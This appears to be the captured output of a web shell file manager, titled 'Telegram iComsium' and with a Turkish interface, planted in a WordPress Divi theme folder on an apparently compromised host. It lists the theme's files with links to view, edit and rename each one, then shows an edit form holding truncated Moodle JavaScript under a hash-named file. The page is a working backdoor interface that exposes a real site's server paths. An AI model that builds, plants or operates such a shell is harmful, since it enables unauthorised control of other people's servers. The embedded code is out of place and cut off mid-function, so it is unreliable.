<b>Telegram iComsium Current root:</b> /home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi <br><b>Current path:</b> /home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi <hr><a href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes">..</a><br /><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/404.php">404.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/404.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/404.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/404.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/CREDITS.md">CREDITS.md</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/CREDITS.md" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/CREDITS.md">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/CREDITS.md">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/LICENSE.md">LICENSE.md</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/LICENSE.md" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/LICENSE.md">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/LICENSE.md">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/README.md">README.md</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/README.md" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/README.md">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/README.md">[Yeniden Adlandır]</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/ai-app">ai-app</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/changelog.txt">changelog.txt</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/changelog.txt" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/changelog.txt">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/changelog.txt">[Yeniden Adlandır]</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/cloud">cloud</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/comments.php">comments.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/comments.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/comments.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/comments.php">[Yeniden Adlandır]</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/common">common</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/core">core</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/css">css</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/epanel">epanel</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/error_log">error_log</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/error_log" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/error_log">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/error_log">[Yeniden Adlandır]</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/et-pagebuilder">et-pagebuilder</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/footer.php">footer.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/footer.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/footer.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/footer.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/functions.php">functions.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/functions.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/functions.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/functions.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/header.php">header.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/header.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/header.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/header.php">[Yeniden Adlandır]</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/images">images</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/includes">includes</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/index.php">index.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/index.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/index.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/index.php">[Yeniden Adlandır]</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/js">js</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/lang">lang</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/onboarding">onboarding</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/options_divi.php">options_divi.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/options_divi.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/options_divi.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/options_divi.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page-template-blank.php">page-template-blank.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page-template-blank.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page-template-blank.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page-template-blank.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page.php">page.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/post_thumbnails_divi.php">post_thumbnails_divi.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/post_thumbnails_divi.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/post_thumbnails_divi.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/post_thumbnails_divi.php">[Yeniden Adlandır]</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/psd">psd</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/rtl.css">rtl.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/rtl.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/rtl.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/rtl.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/screenshot.jpg">screenshot.jpg</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/screenshot.jpg" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/screenshot.jpg">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/screenshot.jpg">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar-footer.php">sidebar-footer.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar-footer.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar-footer.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar-footer.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar.php">sidebar.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-et_pb_layout.php">single-et_pb_layout.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-et_pb_layout.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-et_pb_layout.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-et_pb_layout.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-project.php">single-project.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-project.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-project.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-project.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single.php">single.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt-rtl.min.css">style-cpt-rtl.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt-rtl.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt-rtl.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt-rtl.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt.min.css">style-cpt.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-rtl.min.css">style-rtl.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-rtl.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-rtl.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-rtl.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt-rtl.min.css">style-static-cpt-rtl.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt-rtl.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt-rtl.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt-rtl.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt.min.css">style-static-cpt.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-rtl.min.css">style-static-rtl.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-rtl.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-rtl.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-rtl.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static.min.css">style-static.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.css">style.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.min.css">style.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-footer.php">theme-after-footer.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-footer.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-footer.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-footer.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-header.php">theme-after-header.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-header.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-header.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-header.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-wrappers.php">theme-after-wrappers.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-wrappers.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-wrappers.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-wrappers.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-before-wrappers.php">theme-before-wrappers.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-before-wrappers.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-before-wrappers.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-before-wrappers.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-footer.php">theme-footer.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-footer.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-footer.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-footer.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-header.php">theme-header.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-header.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-header.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-header.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme.json">theme.json</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme.json" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme.json">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme.json">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/wpml-config.xml">wpml-config.xml</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/wpml-config.xml" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/wpml-config.xml">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/wpml-config.xml">[Yeniden Adlandır]</a><br><hr><h3>Dosya Düzenle: 9d4772abfa178c95a668203a2140ff928a0f4096</h3>
        <form method="POST">
            <textarea name="content" style="width:100%;height:300px;">define(&quot;core/dynamic_tabs&quot;,[&quot;exports&quot;,&quot;jquery&quot;,&quot;core/templates&quot;,&quot;core/loadingicon&quot;,&quot;core/notification&quot;,&quot;core/pending&quot;,&quot;core/str&quot;,&quot;core/local/repository/dynamic_tabs&quot;,&quot;core_form/changechecker&quot;],(function(_exports,_jquery,_templates,_loadingicon,_notification,_pending,_str,_dynamic_tabs,_changechecker){function _interopRequireDefault(obj){return obj&amp;&amp;obj.__esModule?obj:{default:obj}}
/**
   * Dynamic Tabs UI element with AJAX loading of tabs content
   *
   * @module      core/dynamic_tabs
   * @copyright   2021 David Matamoros &lt;davidmc@moodle.com&gt; based on code from Marina Glancy
   * @license     http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   */Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.init=void 0,_jquery=_interopRequireDefault(_jquery),_templates=_interopRequireDefault(_templates),_notification=_interopRequireDefault(_notification),_pending=_interopRequireDefault(_pending);const SELECTORS={dynamicTabs:&quot;.dynamictabs&quot;,activeTab:&quot;.dynamictabs .nav-link.active&quot;,allActiveTabs:&#039;.dynamictabs .nav-link[data-toggle=&quot;tab&quot;]:not(.disabled)&#039;,tabContent:&quot;.dynamictabs .tab-pane [data-tab-content]&quot;,tabToggle:&#039;a[data-toggle=&quot;tab&quot;]&#039;,tabPane:&quot;.dynamictabs .tab-pane&quot;,forTabName:tabName=&gt;&#039;.dynamictabs [data-tab-content=&quot;&#039;.concat(tabName,&#039;&quot;]&#039;),forTabId:tabName=&gt;&#039;.dynamictabs [data-toggle=&quot;tab&quot;][href=&quot;#&#039;.concat(tabName,&#039;&quot;]&#039;)};_exports.init=()=&gt;{const tabToggle=(0,_jquery.default)(SELECTORS.tabToggle);if(tabToggle.on(&quot;click&quot;,(event=&gt;{(0,_changechecker.isAnyWatchedFormDirty)()&amp;&amp;(event.preventDefault(),event.stopPropagation(),(0,_str.get_strings)([{key:&quot;changesmade&quot;,component:&quot;moodle&quot;},{key:&quot;changesmadereallygoaway&quot;,component:&quot;moodle&quot;},{key:&quot;confirm&quot;,component:&quot;moodle&quot;}]).then((_ref=&gt;{let[strChangesMade,strChangesMadeReally,strConfirm]=_ref;return _notification.default.confirm(strChangesMade,strChangesMadeReally,strConfirm,null,(()=&gt;{(0,_changechecker.resetAllFormDirtyStates)(),(0,_jquery.default)(event.target).trigger(event.type)}))})).catch(_notification.default.exception))})),tabToggle.on(&quot;show.bs.tab&quot;,(function(){const previousTabName=getActiveTabName();if(previousTabName){document.querySelector(SELECTORS.forTabName(previousTabName)).textContent=&quot;&quot;}})).on(&quot;shown.bs.tab&quot;,(function(){const tab=(0,_jquery.default)((0,_jquery.default)(this).attr(&quot;href&quot;));1===tab.length&amp;&amp;loadTab(tab.attr(&quot;id&quot;))})),!openTabFromHash()){const tabs=document.querySelector(SELECTORS.allActiveTabs);if(tabs)openTab(tabs.getAttribute(&quot;aria-controls&quot;));else{const tabPane=document.querySelector(SELECTORS.tabPane);tabPane&amp;&amp;(tabPane.classList.add(&quot;active&quot;,&quot;show&quot;),loadTab(tabPane.getAttribute(&quot;id&quot;)))}}};const getActiveTabName=()=&gt;{const element=document.querySelector(SELECTORS.activeTab);return(null==element?void 0:element.getAttribute(&quot;aria-controls&quot;))||null},loadTab=tabName=&gt;{var _ref2,_tabName;tabName=null!==(_ref2=null!==(_tabName=tabName)&amp;&amp;void 0!==_tabName?_tabName:getActiveTabName())&amp;&amp;void 0!==_ref2?_ref2:(()=&gt;{const element=document.querySelector(SELECTORS.tabContent);return(null==element?void 0:element.dataset.tabContent)||null})();const tab=document.querySelector(SELECTORS.forTabName(tabName));if(!tab)return;const pendingPromise=new _pending.default(&quot;core/dynamic_tabs:loadTab:&quot;+tabName);let tabjs=&quot;&quot;;(0,_loadingicon.addIconToContainer)(tab).then((()=&gt;{let tabArgs={...tab.dataset};return delete tabArgs.tabClass,delete tabArgs.tabContent,(0,_dynamic_tabs.getContent)(tab.dataset.tabClass,JSON.stringify(tabArgs))})).then((data=&gt;(tabjs=data.javascript,_templates.default.render(data.template,JSON.parse(data.content))))).then(((html,js)=&gt;_templates.default.replaceNodeContents(tab,html,js+tabjs))).then((()=&gt;(pendingPromise.resolve(),null))).catch(_notification.default.exception)},openTab=tabName=&gt;{const tab=(tabName=&gt;document.querySelector(SELECTORS.forTabId(tabName)))(tabName);return!!tab&amp;&amp;(loadTab(tabName),tab.classList.add(&quot;active&quot;),(tabName=&gt;document.getElementById(tabName))(tabName).classList.add(&quot;active&quot;,&quot;show&quot;),!0)},openTabFromHash=()=&gt;{const hash=document.location.hash;return!!hash.match(/^#\w+$/g)&amp;&amp;openTab(hash.replace(/^#/g,&quot;&quot;))}}));
/**
 * Implement an accessible aria tree widget, from a nested unordered list.
 * Based on http://oaa-accessibility.org/example/41/.
 *
 * @module     core/tree
 * @copyright  2015 Damyon Wiese &lt;damyon@moodle.com&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;core/tree&quot;,[&quot;jquery&quot;],(function($){var SELECTORS_ITEM=&quot;[role=treeitem]&quot;,SELECTORS_GROUP=&quot;[role=treeitem]:has([role=group]), [role=treeitem][aria-owns], [role=treeitem][data-requires-ajax=true]&quot;,SELECTORS_CLOSED_GROUP=&quot;[role=treeitem]:has([role=group])[aria-expanded=false], [role=treeitem][aria-owns][aria-expanded=false], [role=treeitem][data-requires-ajax=true][aria-expanded=false]&quot;,SELECTORS_FIRST_ITEM=&quot;[role=treeitem]:first&quot;,SELECTORS_VISIBLE_ITEM=&quot;[role=treeitem]:visible&quot;,SELECTORS_UNLOADED_AJAX_ITEM=&quot;[role=treeitem][data-requires-ajax=true][data-loaded=false][aria-expanded=true]&quot;,Tree=function(selector,selectCallback){this.treeRoot=$(selector),this.treeRoot.data(&quot;activeItem&quot;,null),this.selectCallback=selectCallback,this.keys={tab:9,enter:13,space:32,pageup:33,pagedown:34,end:35,home:36,left:37,up:38,right:39,down:40,asterisk:106},this.initialiseNodes(this.treeRoot),this.setActiveItem(this.treeRoot.find(SELECTORS_FIRST_ITEM)),this.refreshVisibleItemsCache(),this.bindEventHandlers()};return Tree.prototype.registerEnterCallback=function(callback){this.enterCallback=callback},Tree.prototype.refreshVisibleItemsCache=function(){this.treeRoot.data(&quot;visibleItems&quot;,this.treeRoot.find(SELECTORS_VISIBLE_ITEM))},Tree.prototype.getVisibleItems=function(){return this.treeRoot.data(&quot;visibleItems&quot;)},Tree.prototype.setActiveItem=function(item){var 